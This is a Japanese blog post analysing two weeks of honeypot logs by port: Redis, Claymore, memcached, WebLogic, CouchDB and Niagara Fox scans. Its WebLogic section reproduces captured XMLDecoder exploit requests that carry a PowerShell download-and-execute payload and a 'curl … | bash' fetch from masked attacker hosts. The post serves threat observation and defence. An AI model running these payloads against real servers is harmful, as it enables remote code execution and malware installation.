nanka iroiro

wakaran

ハニーポットを観察してみる その１ -honeytrapのログを漁る-

ハニーポット セキュリティ

やったこと

honeytrapを2週間程度動かしてみましたので，特定のポートに絞って出てきたログを簡単に調査しました．調べるネタは他の方のブログやベンダーのレポートなどを参考にしています．

  • 調査期間：2018/3/3 20時頃 - 2018/3/18 0時頃　※ずっと稼働させていたわけではなかったのでかなり抜けがあります．

おしながき

  1. 6379/TCP
  2. 3333/TCP
  3. 11211/TCP
  4. 7001/TCP
  5. 5984/TCP
  6. おまけ：1911/TCP

6379/TCP

きっかけはTKさんのブログから

6379/tcp宛の通信が一時的に増えたとの事なので自分のところでも調べてみました．

グラフ f:id:waaai_tanoshiiiii:20180321200135p:plain

3/14日辺りに中国から多くのパケットが来ていました．

データ部分をデコードして可読部を残したものが以下になります(結果は一部のみ)．

data Count
INFO 558
30
*1$4info 5
*1$4INFO 3
*1$7COMMAND 2
*3$6config$3get$3dir 1
*4$6config$3set$10dbfilename$9backup.db 1

...

一番多いのがINFOという文字列でした．調べてみるとポート6379はRedisで使用されており，更にinfoはredis-serverでバージョン情報などを調べるコマンドであることがわかりました． 更に調べていくとこのようなPoCを見つけました．

sock = self._createSocket()
sock.send("INFO\r\n".encode(encoding='utf-8'))
result = sock.recv(1024)

if "redis_version" in result:
    print("redis-server is vulnerable!")
else:
    print("redis-server is not vulnerable!")

INFOコマンドを送り，返ってきた結果にredis_versionが含まれているか否かで脆弱なredis-serverであるかを判定しています．INFOの部分を変えるといろんなコマンドが送れそうです．対応するCVEを探しましたが見つかりませんでした．

同様にconfig getおよびconfig setで現在の設定の取得と変更ができるそうです．調べていくとこのコマンドを利用して攻撃者の公開鍵などを設定する攻撃が流行っていたそうです．

3333/TCP

きっかけは@policeの記事から　

Claymoreを標的としたアクセスが来ていないか調べてみました． ちなみに同記事で取り上げられていた5555/TCPは該当する攻撃は見当たりませんでした．

グラフ f:id:waaai_tanoshiiiii:20180321200153p:plain

データ部分をデコード

data Count
SSH-2.0-libssh2_1.7.0 109
4
/*Cookie: mstshash=Administr 2
{"id":0,"jsonrpc":"2.0","method":"miner_getstat1","psw":""} 1

大部分がsshの探索っぽいパケットですが，Claymoreのスキャンっぽいパケットが1件だけ，3月12日にハンガリーからきていました．

{"id":0,"jsonrpc":"2.0","method":"miner_getstat1","psw":""}

パスワードが空のClaymoreを探索しているようです． Claymoreが稼働していた場合，バージョンなどの情報が返ってくるそうです．

11211/TCP

何かと話題になっているmemcached　

DoS攻撃を行うときはUDPでアクセスしますがTCPの方にもそれらしきパケットが来ていました．脆弱性修正前はデフォルトでTCP,UDPどちらも開いていたようなので，TCPでのアクセスは調査目的だと考えられます．

グラフ f:id:waaai_tanoshiiiii:20180321200218p:plain

データ部分をデコード(一部)

data Count
59
stats 23
0` 3
:/@=/@ 3
DmdT 3
GET / HTTP/1.0 3

...

statsコマンドはmemcachedのバージョン情報などを返します．Qiitaなどで返ってくる文字列の例を見ることができますが，これだけでも増幅率高そうですね．投げるパケットによっては51000倍の増幅率になるそうです．

UDPパケットも観測していればもっと面白いものも見れたのかなーと思います．その辺りも今後は試してみたいですね．

7001/TCP

きっかけは第三回ハニーポッター技術交流会のネタ

WebLogicの脆弱性を突いた攻撃が自分のところにも来ていないか調べました．

グラフ f:id:waaai_tanoshiiiii:20180321200300p:plain

データ部はかなり長いので省略

それっぽい攻撃がいくつかあったので順番に見ていきます．

1つ目...10件

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: ＊.＊.＊.＊:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: CloseContent-Type: text/xml
Content-Length: 1090
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
      <void index="0">
            <string>cmd.exe</string>
      </void>    
      <void index="1">      
            <string>/c</string>    
      </void>    
      <void index="2">      
            <string>START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABXAEMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAMgAuADAAJwApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA1ADkALgAxADIANgAuADAALgAxADgAMwAvAGMAcwBzAC8AaQBtAGEAZwBlAHMALwBEAEwALgBwAGgAcAAnACkAOwA=</string>    
      </void>  
  </array>    
  <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

10件のパケットはbase64の中身が異なっていました．base64をデコードしたものの一例を示します．

$WC=New-Object System.Net.WebClient;$WC.Headers.Add('User-Agent','PowerShell v2.0');IEX $WC.DownloadString('http://＊.＊.＊.＊/css/images/DL.php');

攻撃者のサーバにあるDL.phpをダウンロードさせようとしていることが分かります．

２つめ...2件

POST /wls-wsat/CoordinatorPortType
HTTP/1.1Host: ＊.＊.＊.＊:7001
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0
Content-Type: text/xml;charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Length: 1059    
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">        
<soapenv:Header>            
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">                
<java version="1.8.0_131" class="java.beans.XMLDecoder">                    
  <void class="java.lang.ProcessBuilder">                        
    <array class="java.lang.String" length="3">                            
      <void index="0">                                
        <string>/bin/bash</string>                            
      </void>                            
      <void index="1">                                
        <string>-c</string>                            
      </void>                            
      <void index="2">                                
        <string>curl -fsSL http://＊.＊.＊.＊:5050/mrx1 | bash</string>                            
      </void>                        
    </array>                    
    <void method="start"/>
  </void>                
</java>            
</work:WorkContext>        
</soapenv:Header>        
<soapenv:Body/>    
</soapenv:Envelope>

2つのパケットは同じIPから来ていましたが，内容はLinuxコマンドを用いるかpowershellを用いるかの違いでした．windowsとLinuxの両方を標的にしていることがわかります．こちらはmrx1なるファイルをダウンロードさせようとしていました．

5984/TCP

きっかけはハニーポッター向けのslackで出てきたネタ

トレンドマイクロのブログでも取り上げられています．Apache CouchDBを標的にしたアクセスが来ていないか調べてみました．

グラフ f:id:waaai_tanoshiiiii:20180321200315p:plain

データ部分をデコード(一部)

data Count
GET / HTTP/1.1Host: ＊:＊:＊:＊:5984Accept-Encoding: identity 2
2
GET /_all_dbs HTTP/1.1Host: ＊:＊:＊:＊Connection: close 1
GET / HTTP/1.1Host: ＊:＊:＊:＊Connection: close 1
GET / HTTP/1.1Host: ＊:＊:＊:＊Cache-Control: no-store,no-cachePragma: no-cacheConnection: Close 1

...

残念ながらトレンドマイクロのブログで紹介されているようなパケットはありませんでした．しかしCouchDBを標的にしたアクセスが一件だけあります．

GET /_all_dbs

これでデータベースの一覧を取得するそうです．こちらを試して然るべきレスポンスがあれば実際の攻撃に移る，と言った感じでしょうか．

おまけ：1911/TCP

最後にログを眺めていて気になった1911/TCPのログを紹介します．

グラフ f:id:waaai_tanoshiiiii:20180321200343p:plain

データ部はこんな感じでした．

fox a 1 -1 fox hello{
  fox.version=s:1.0
  id=i:1
  hostName=s:xpvm-0omdc01xmy
  hostAddress=s:＊.＊.＊.＊
  app.name=s:Workbench
  app.version=s:3.7.44
  vm.name=s:Java HotSpot(TM) Server VM
  vm.version=s:20.4-b02
  os.name=s:Windows XP
  os.version=s:5.1
  lang=s:en
  timeZone=s:America/Los_Angeles;-28800000;3600000;02:00:00.000,wall,march,8,on or after,sunday,undefined;02:00:00.000,wall,november,1,on or after,sunday,undefined
};;

調べてみると，nmapのgithubページに当たりました． どうやらNiagara AX TridiumにはInformation Disclosureの脆弱性があるらしいです．以下のような感じでnmapコマンドを打つと，Niagara AXが動いているサーバの情報が取れるようです．

nmap -p 1911 –script fox-info.nse $(IPAddr)

でもそれだったらリクエストにhostnameとかの情報が乗っているのはおかしくないですかね...と思い調べているとこのようなスクリプトを見つけました．

上記コードのorig_query変数で定義される値をデータ部に入れてパケットを送っていますが，このデータ部が今回取得されたパケットのデータ部と一致していました． もしかすると何か意味があるのかもしれないですが，これ以上のことは調べてみてもわかりませんでした．

まとめ

今回はhoneytrapで取得したパケットを，特定のポートに絞って調べてみました．honeytrapの性質上，大体が調査目的のものでしたが，眺めているだけでも結構面白かったです．またネタが溜まったら書いてみようと思います．